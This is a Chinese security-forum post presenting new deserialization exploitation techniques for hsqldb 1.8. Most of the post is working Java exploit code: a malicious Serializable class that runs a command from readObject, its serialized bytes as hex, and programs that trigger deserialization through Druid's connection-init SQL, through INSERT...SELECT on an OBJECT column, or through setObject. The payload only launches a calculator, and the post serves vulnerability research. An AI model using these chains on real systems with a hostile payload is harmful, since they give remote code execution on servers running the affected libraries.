hsqldb 1.8 反序列化漏洞利用的新方式
tj 发表于 中国 WEB安全 1570浏览 · 2024-05-29 14:30

有点鸡肋,目前最新版都2.7.2了。后面的栈堆去顺着走很多遍就知道个大概了,主要是不想写,麻烦。。。

添加一个反序列化口子,

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Payload implements Serializable {

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc");
    }
}

pom.xml,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>hsqldb_payload</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>druid</artifactId>
            <version>1.2.8</version>
        </dependency>

        <dependency>
            <groupId>org.hsqldb</groupId>
            <artifactId>hsqldb</artifactId>
            <version>1.8.0.10</version>
        </dependency>
    </dependencies>

</project>
  • 反序列化流程:*
    方法一利用正常的的执行语句达到反序列化的目的,
    方法二需要调用setObject函数,

  • 方法一:*
    适用于反序列化链的构造,如利用jdbc漏洞,可以控制url和定义初始化语句,
    那么就能利用druidDataSource的getter函数(getConnection),最终触发hsqldb进行反序列化,
package org.example;

import com.alibaba.druid.pool.DruidDataSource;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static String bytesToHex(byte[] bytes) {
        // 创建StringBuilder以构建16进制字符串
        StringBuilder hexString = new StringBuilder();

        // 遍历字节数组中的每个字节
        for (byte b : bytes) {
            // 使用格式化字符串将每个字节转换为2位的16进制表示
            String hex = String.format("%02X", b);

            // 将转换后的16进制字符串追加到StringBuilder中
            hexString.append(hex);
        }

        // 返回构建好的16进制字符串
        return hexString.toString();
    }
    public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {

        byte[] bytes =  new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
        String hexString = bytesToHex(bytes);
        System.out.println(hexString);


        DruidDataSource druidDataSource = new DruidDataSource();

        Field jdbcUrl = DruidDataSource.class.getSuperclass().getDeclaredField("jdbcUrl");
        jdbcUrl.setAccessible(true);
        jdbcUrl.set(druidDataSource, "jdbc:hsqldb:mem:mydb");

        Field driverClass = DruidDataSource.class.getSuperclass().getDeclaredField("driverClass");
        driverClass.setAccessible(true);
        driverClass.set(druidDataSource, "org.hsqldb.jdbcDriver");


        List<String> list = new ArrayList<>();


        list.add("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
        list.add("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
        list.add("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
        list.add("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");

        Field connectionInitSqls = DruidDataSource.class.getSuperclass().getDeclaredField("connectionInitSqls");
        connectionInitSqls.setAccessible(true);
        connectionInitSqls.set(druidDataSource, list);

        druidDataSource.getConnection();




    }
}

将表1的字段内容放入到表2时,如果表1的字段类型为OBJECT类型,那么就会通过executeInsertSelectStatement函数调用到Column.convertObject函数,最终进行反序列化,

package org.example;

import java.lang.reflect.InvocationTargetException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;

public class Main {
    public static String bytesToHex(byte[] bytes) {
        // 创建StringBuilder以构建16进制字符串
        StringBuilder hexString = new StringBuilder();

        // 遍历字节数组中的每个字节
        for (byte b : bytes) {
            // 使用格式化字符串将每个字节转换为2位的16进制表示
            String hex = String.format("%02X", b);

            // 将转换后的16进制字符串追加到StringBuilder中
            hexString.append(hex);
        }

        // 返回构建好的16进制字符串
        return hexString.toString();
    }
    public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {

        byte[] bytes =  new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
        String hexString = bytesToHex(bytes);
        System.out.println(hexString);

        Class.forName("org.hsqldb.jdbcDriver");
        Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");

        Statement statement = connection.createStatement();

        statement.executeQuery("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
        statement.executeQuery("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
        statement.executeQuery("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
        statement.executeQuery("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");



    }
}
  • 方法二:*
    利用setObject函数达到反序列化的效果,不过此方法不能利用在其他反序列化链中,
    因为需要调用setObject函数,并且传入的参数javaObject没有实现反序列化接口,
package org.example;

import com.alibaba.druid.pool.xa.DruidXADataSource;
import org.hsqldb.lib.IntValueHashMap;
import org.hsqldb.types.JavaObject;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;

public class Main {
    public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {

        byte[] bytes =  new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};

        Class.forName("org.hsqldb.jdbcDriver");
        Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");

        Statement statement = connection.createStatement();

        connection.prepareStatement("CREATE TABLE test (id INTEGER IDENTITY, name VARCHAR(255))").execute();

        JavaObject javaObject = new JavaObject(bytes);
        connection.prepareStatement("INSERT INTO test (name) VALUES (?)").setObject(1, javaObject);


    }
}

//java -cp hsqldb.jar org.hsqldb.WebServer -database.0 file:mydb -dbname.0 mydb -port 8888

参考;
https://xz.aliyun.com/t/13931?time__1311=
https://m0d9.me/2021/04/26/Jdbc%E7%A2%8E%E7%A2%8E%E5%BF%B5%E4%B8%89%EF%BC%9A%E5%86%85%E5%AD%98%E6%95%B0%E6%8D%AE%E5%BA%93/
https://xz.aliyun.com/t/9162?time__1311=
https://xz.aliyun.com/t/10227?time__1311=

0 条评论
某人
表情
可输入 255
目录